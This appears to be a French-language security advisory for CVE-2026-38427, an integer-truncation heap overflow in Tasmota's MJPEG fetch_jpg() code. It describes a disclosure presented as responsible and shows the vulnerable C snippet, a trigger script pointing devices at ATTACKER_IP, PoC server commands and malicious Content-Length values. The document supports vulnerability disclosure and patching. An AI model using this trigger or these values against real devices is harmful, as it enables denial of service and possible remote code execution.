
CVE-2026-38427 — Dépassement d'entier → Débordement de tampon de tas dans Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)
CVE : CVE-2026-38427
Sévérité : Critique (CVSS 9.8)
Produit : Arendst Tasmota
Version affectée : <= 15.3.0.3
Fichier : tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Fonction : fetch_jpg() — cas 2 (récupération de trame MJPEG)
Auteur : Saidakbarxon Maxsudxonov
Divulgation : Responsable — signalé à Tasmota avant publication
Une vulnérabilité de dépassement d'entier uint16_t existe dans la fonction fetch_jpg() du pilote scripter de Tasmota. Lorsqu'un appareil Tasmota récupère des trames MJPEG depuis un serveur contrôlé par un attaquant, la valeur de l'en-tête Content-Length est lue dans une variable uint16_t via atoi(). Les valeurs supérieures à 65535 se replient silencieusement (par exemple, 65537 → 1), provoquant l'allocation d'un tampon de tas de taille bien trop petite. L'appareil lit ensuite uniquement le nombre d'octets replié du flux, laissant le reste dans le tampon de flux, ce qui corrompt l'état du tas/du flux et entraîne un plantage (DoS) ou une éventuelle exécution de code à distance.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}
Un attaquant qui peut forcer un appareil Tasmota à se connecter à son serveur HTTP (via un script Tasmota malveillant ou MITM) peut envoyer des trames MJPEG avec des valeurs Content-Length dépassant 65535. L'appareil va :
Déclenchement via script Tasmota :
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
La PoC exécute un faux serveur HTTP MJPEG qui envoie des trames avec des valeurs Content-Length malveillantes :
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
Voir CVE-2026-38427_poc.py pour l'implémentation complète.
| Content-Length (en-tête) | valeur uint16_t | Tampon alloué | Octets non lus |
|---|
| 65536 | 0 | 0 (ignoré) | 65536 |
| 65537 | 1 | 1 octet | 65536 |
| 70000 | 4464 | 4464 octets | 65536 |
| 131072 | 0 | 0 (ignoré) | 131072 |